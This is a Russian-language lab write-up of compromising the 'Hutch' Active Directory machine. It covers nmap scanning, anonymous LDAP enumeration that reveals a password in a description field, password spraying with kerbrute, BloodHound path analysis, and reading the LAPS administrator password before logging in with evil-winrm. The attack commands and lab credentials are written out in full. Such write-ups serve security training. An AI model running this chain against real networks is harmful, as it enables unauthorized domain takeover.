Из описания машины следует, что основным вектором атаки является LDAP
. Это ключевой аспект, на который стоит обратить внимание в ходе анализа.
Кроме того, в описании указано, что сложность оценивается как Hard
согласно рейтингу сообщества. Однако я с этим не полностью согласен — на мой взгляд, уровень сложности ближе к Medium
. В процессе дальнейшего разбора вы поймёте почему: для успешного взлома машины не потребуется использование сложных трюков или узкоспециализированных знаний. Все действия выполняются с помощью стандартного набора инструментов пентестера.
NMAP #
Начинем со стандартного сканирование доступных портов:
nmap -v -Pn -T4 -p- 192.168.193.122
Результат:
Теперь просканируем только эти порты более детально:
nmap -v -Pn -A -p 53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49666,49668,49673,49674,49676,49692,49765 192.168.193.122
Результат:
LDAP #
В результатах сканирование обращаем внимание на LDAP
(порт 3268). Как упоминалось ранее, основной вектор атаки для данной машины — это именно LDAP
.
ldapsearch #
Пробуем получить полезную информацию из LDAP
c помощью ldapsearch
.
ldapsearch -x -H ldap://192.168.193.122 -b "DC=hutch,DC=offsec"
Вывод команды будет довольно большой, часть вывода на примере ниже:
На скриншоте выше вы можете увидеть информацию о нескольких пользователях в домене. Давайте позапускаем команду несколько раз с разными grep
, чтобы убрать все лишнее:
ldapsearch -x -H ldap://192.168.193.122 -b "DC=hutch,DC=offsec" | grep userPrincipalName | awk '{ print $2}'
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
ldapsearch -x -H ldap://192.168.193.122 -b "DC=hutch,DC=offsec" | grep description

А вот и первый “низко висящий фрукт”. Теперь нужно определить, какому пользователю принадлежит этот пароль. Чтобы не искать его вручную среди всех пользователей, где в поле description
указан данный пароль, можно использовать команду grep
с выводом 40 строк до и 40 после совпадения
ldapsearch -x -H ldap://192.168.193.122 -b "DC=hutch,DC=offsec" | grep -A 40 -B 40 CrabSharkJellyfish192

Password spraying attack #
Итак, на данный момент мы имеем пару логин:пароль
для пользователя [email protected]
, а также список логинов других пользователей.
password spraying
атаку на другие известные нам логины.
Но перед тем, как это делать надо проверить 2 вещи:
- Проверить, что с найденым логином и паролем можно залогиниться в систему и он рабочий.
- Проверить политику паролей в домене, чтобы определить сколько попыток ввода неправильного пароля допустимо до блокировки учетной записи.
password spray
, credential stuffing
или brute force
.
Password policy #
Мы можем сделать два действия за раз:
crackmapexec smb 192.168.193.122 -u fmcsorley -p 'CrabSharkJellyfish192' --pass-pol

На скриншоте выше мы видим, что порог неправильных вводов пароля не настроен и мы можем смело двигаться дальше к следующему этапу - password spraying attack
.
kerbrute #
Ранее мы уже выгрузили список учетных записей, теперь сохраним их в файл
A tool to perform Kerberos pre-auth bruteforcing
users.txt
и сделаем password spraying
найденого пароля с помощью утилиты kerbrute
.
kerbrute passwordspray -d hutch.offsec --dc 192.168.193.122 users.txt 'CrabSharkJellyfish192'

Как мы видим, данный пароль используется только для одного пользователя fmcsorley
и password spraying
не принес новых доступов. Мы должны были попробовать, это является неотъемлимой частью методологии пентеста.
Intermediate results #
Промежуточные итоги таковы, что мы знаем только одну пару логин:пароль
и теперь пришло время попробовать получить больше информации о домене.
Privileges escalation #
Мой подход к решению этой задачи отличается от официального. Официальный write-up предлагает использовать WebDAV
для получения первоначального шелла на машину и последующего поиска путей для эскалации привилегий. Этот метод основывается на внимательности и использовании базовых возможностей без привлечения дополнительных инструментов.
Однако я хочу предложить более интересный и универсальный подход, который вы сможете применять не только в этом случае, но и для работы с другими машинами в будущем.
BloodHound #
Мы будем использовать инструмент BloodHound
для получения всей информации о домене и поиска кратчайшего пути до доменного админа.
Для тех кто не знаком с BloodHound
,то рекомендую к просмотру видео ниже. В Яндекс.Браузере можете включить перевод видео с озвучкой.
Installation #
Я запускаю BloodHound
в Docker
с использованием Docker Compose
. Подробная инструкция по установке доступна по официальной ссылке.
После запуска BloodHound
, ему необходимо предоставить данные о домене. Для их сбора можно использовать разные инструменты. Официальная документация рекомендует их собственные коллекторы, например SharpHound.exe
.
Однако, так как у нас пока нет шелла на целевой машине, вместо Windows-версии коллектора мы будем использовать Python-версию. Это позволяет собирать необходимые данные удаленно, что особенно полезно на этапе предварительного анализа домена.
A Python based ingestor for BloodHound
bloodhound-ce
.
Установка bloodhound.py
и нужных зависимостей:
git clone -b bloodhound-ce https://github.com/dirkjanm/BloodHound.py.git
python3 -m venv venv
source venv/bin/activate
pip install .
Collection information about Domain #
Перед запуском коллектора добавим новую запись в /etc/hosts
.
cat /etc/hosts
192.168.193.122 hutchdc.hutch.offsec hutch.offsec
./bloodhound.py -u 'fmcsorley' -p 'CrabSharkJellyfish192' -ns 192.168.193.122 -d hutch.offsec -c all

В результате в директории с bloodhound.py
появятся файлы json
, которые далее надо будет загрузить в BloodHound
использую UI.

BloodHound UI #
После загрузки json
файлов в BloodHound
и их обработки, мы можем начать исследовать домен и взаимосвязи между различными ролями. Но давайте сразу перейдем к делу и построим путь от пользователя fmcsorley
до доменного админа.
После загрузки файлов формата JSON
в BloodHound
и завершения их обработки, мы можем приступить к анализу домена и исследованию взаимосвязей между различными объектами.
Однако, чтобы не откладывать ключевые действия, сразу построим путь повышения привилегий от пользователя fmcsorley
до доменного администратора. Для этого:
- Откройте вкладку
Explore -> Pathfinding
в интерфейсеBloodHound
. - Укажите пользователя
fmcsorley
как начальную точку и группуDomain Admins
в качестве целевой. BloodHound
автоматически построит цепочку действий, которая показывает, какие ресурсы и привилегии нужно использовать или обойти, чтобы достичь уровня доменного администратора.

Как видно на скришноте пользователь fmcsorley
обладает правами ReadLAPSPassword
.
[email protected]
has the ability to read the password set by Local Administrator Password Solution (LAPS)
on the computer HUTCHDC.HUTCH.OFFSEC
.
The local administrator password for a computer managed by LAPS is stored in the confidential LDAP attribute, ms-mcs-AdmPwd
.
Иными словами, это означает, что пользователь может получить пароль локального администратора, управляемый LAPS
, в открытом виде.
LAPS #
Вот два способа, как прочитать пароль админа из LAPS
.
Option 1 #
Используя
Python setter/getter for property ms-Mcs-AdmPwd used by LAPS.
pyLAPS
./pyLAPS.py --action get -d "hutch.offsec" -u "fmcsorley" -p "CrabSharkJellyfish192"

Option 2 #
Используя ldapsearch
ldapsearch -v -x -H ldap://192.168.193.122 -D [email protected] -w CrabSharkJellyfish192 -b "DC=hutch,DC=offsec" "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd

Admin password #
Итак мы получили пароль админа в открытом виде и таким образом повысили привелегии.
Creds #
В итоге у нас есть две учетные записи.
[email protected]:CrabSharkJellyfish192
[email protected]:{71A@2%$}85x4L
Getting Shell #
Пришло время получить шелл на машину с админскими правами. Для этого воспользуемся утилитой evil-winrm
.
evil-winrm -i 192.168.193.122 -u 'Administrator' -p '{71A@2%$}85x4L'

И заберем флаги:

Conclusion #
Давайте еще раз кратко пробежимся по тому, что мы сделали:
- С помощью
nmap
определили, что есть открытый порт на котором висит LDAP. - Используя
ldapsearch
нашли пароль от учетки обычного пользователя в полеdescription
. - Попробовали сделать
password spraying
на другие учетные записи с найденым паролем, но неудачно. - Используя учетку обычного пользователя с помощью
BloodHound
выявили путь для эскалации привелегий. - Получили пароль админа в открытом виде.
- Используя
evil-winrm
получилиshell
на машину с админскими правами и забрали флаги.
Возвращаясь к тому, с чего я начал эту статью, а именно к сложности данной машины. Другие пользователи оценивают ее, как Hard. Я думаю, что дело в том, что они не использовали BloodHound
и застряли на этапе эскалации привелегий.
Но даже если вы первый раз слышите про LAPS
, то использую BloodHound
вы бы о нем узнали и смогли продвинуться дальше.
Подписывайтесь на мой Telegram канал Breach_Zone и твиттер Breach_Zone!